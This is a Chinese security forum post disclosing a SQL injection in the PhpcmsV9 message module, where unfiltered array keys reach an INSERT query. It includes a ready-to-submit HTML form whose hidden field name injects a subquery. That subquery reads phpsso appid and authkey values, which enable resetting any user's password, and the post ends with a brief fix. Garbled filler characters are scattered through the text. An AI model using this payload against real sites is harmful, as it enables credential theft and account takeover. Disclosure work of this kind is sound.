找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1991|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:6 B3 S: P1 {$ E4 Y3 V( v" Z
0 z! k% ~- B: C  b7 G1 ^3 m" K1 M
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。4 U) t+ `2 ~2 C8 |& G$ P6 M
4 T- I2 R3 \4 u# d
明天再更新下一个漏洞。
( A+ s4 X& \, P详细说明:
# O" D4 B# j# |4 z1 I  r在/phpcms9/phpcms/modules/message/index.php中有代码如下:. x) }4 ?4 D1 f3 S

# M" L4 Y! Y, D4 M$messageid = $this->message_db->insert($_POST['info'],true);6 R8 d( E) L! U3 q' `  @' p5 j
8 M4 n! s8 C. J1 ]- i+ R

1 J" x6 N( `* t  @" b! ninsert方法是key value的,代码如下:: S  a/ ^! H" k" R3 \
% z- i" Z. Z' w) U) _! _) _5 j
public function insert($data, $table, $return_insert_id = false, $replace = false) {" Z" Y; D- s+ D9 z* ^! z
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
5 T4 Y9 Z& l' v# c1 [$ Y1 T! \+ P                        return false;
3 L7 l6 y& W% p4 J* P2 j) E                }
* T! F6 c" c8 M: r! v                ( ]- o) |. t" J7 |
                $fielddata = array_keys($data);! |8 z1 t" e6 W; f) @
                $valuedata = array_values($data);
1 a+ q- O4 u, p. i$ `' o4 x                array_walk($fielddata, array($this, 'add_special_char'));1 h5 A( G( |( c
                array_walk($valuedata, array($this, 'escape_string'));* R0 S* P9 p% h1 V0 A' v
                ; T3 w5 [/ M0 @$ o6 ^( x* G* O
                $field = implode (',', $fielddata);8 I9 R; k. f- O$ {
                $value = implode (',', $valuedata);
4 q5 a; w- p! b* [8 g% b
- `& R0 S0 H: y% ~3 ?( F6 J' N                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
% o3 C% @# C. D3 ^! }                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';) N" f& I2 I2 m" J, R6 w
                $return = $this->execute($sql);! v7 c% c. H, ^, A
                return $return_insert_id ? $this->insert_id() : $return;) m, k2 S, {" Z5 P) x7 W3 u
        }
$ `, W7 ]6 Z9 i1 ]; L0 H1 R# @, s0 }0 Z& Y  C
8 l( h1 V' E& \+ m9 B9 T
嗯,很遗憾的是
, T/ s3 Y6 \3 X, G0 p0 g& n& G& F: M( ]/ Y; O+ P
array_walk($fielddata, array($this, 'add_special_char'));4 \6 z( D2 l, J: ]' I

: F2 H0 _) z- s6 f8 ?. F
* B  o, W% L' j! {( |& p中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
6 }5 d2 \% l7 X5 i; x) @4 t/ U8 ^6 s* i6 _' q8 ~
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。: {  o- M$ [9 {

  ]# A+ x( T6 E漏洞证明:+ k: r7 e3 b0 E* W3 h
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。: d# R1 T' S: S7 f7 Q
% }+ u/ N: N) r2 f
, a) D# i+ f) J1 O5 J" m
表单如下:用户名什么的得自己改一改。0 E7 \4 U* d: ~- P7 l- I0 G
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">+ V1 \; c. _- K  q9 x0 K7 c% @9 T; D
<table width="100%" cellspacing="0" class="table_form">" n" ~, P$ L! o- ^5 U  a4 [
<tr>
9 Q4 g4 [) e6 ?0 l9 z- y6 n# Y" G<th>标 题:</th>
, z: j5 @" j, s# T, j( Y3 _  L0 g<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>& `3 Y4 G  f8 [6 _# w4 E! J! t& w+ w* R
</tr>
6 Z& N. [; g) W2 k4 h( S, I! k2 |<tr>
' W# _0 X3 r, W; m7 G" i<th>内 容:</th>
. N/ k0 U$ _% M+ C<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
; F4 F3 m6 k5 c$ a2 N/ h</tr>, q  o8 A3 X6 I0 A% x
<input type="hidden" name="info[replyid]" value="2" />
2 ~, w& K7 `" a<input type="hidden" name="info[send_to_id]" value="cc" />
$ m, D. a. b6 i6 b% i5 ]* p<input type="hidden" name="info[send_from_id]" value="hh">
5 f0 [  V, t# v4 J7 U1 q) S<!-- 漏洞的利用重点在这里开始 -->
: W, ^5 g: {$ i- I  I' f<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> - \' P! x- U( k8 A
<!-- 漏洞的利用重点在这里结束 -->
/ W* ^) ?8 q# U* ^4 g<tr>
" w% V: v# `2 }' M3 H4 u<th>验证码:</th>; J+ `- M" g8 M8 n8 P9 U
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
# u/ v* J0 }0 M$ e. e; z</tr>2 d  S2 `% t9 T0 _% s( Z. r% G
<tr>
# O. h$ l) t' P7 t<td></td>
& `: J5 a: m; e7 Y( b$ y- y- V/ l<td colspan="2"><label>
1 |3 Y' i! N1 F! B8 r. c8 A$ [<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>4 ^% z8 W: f9 y( x0 f5 O( Z3 y+ Q
</label></td>$ |* B6 V& t( ^/ u: V
</tr>
# c$ u2 Q7 v5 q3 r$ i</table>1 i- K6 m9 z% d6 \8 i
</form>
. j: n% X6 a! Z- i+ s# V, U' `在add_special_char函数内对key做过滤就可以了。
* W% ]. ^7 e5 m" F- g! M, @/ @
, q5 _* P" O3 J: y$ A8 l$ u: O2 Q' O& l2 t1 R; T/ I. d: j% s
' u5 M5 o3 b: {+ T

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表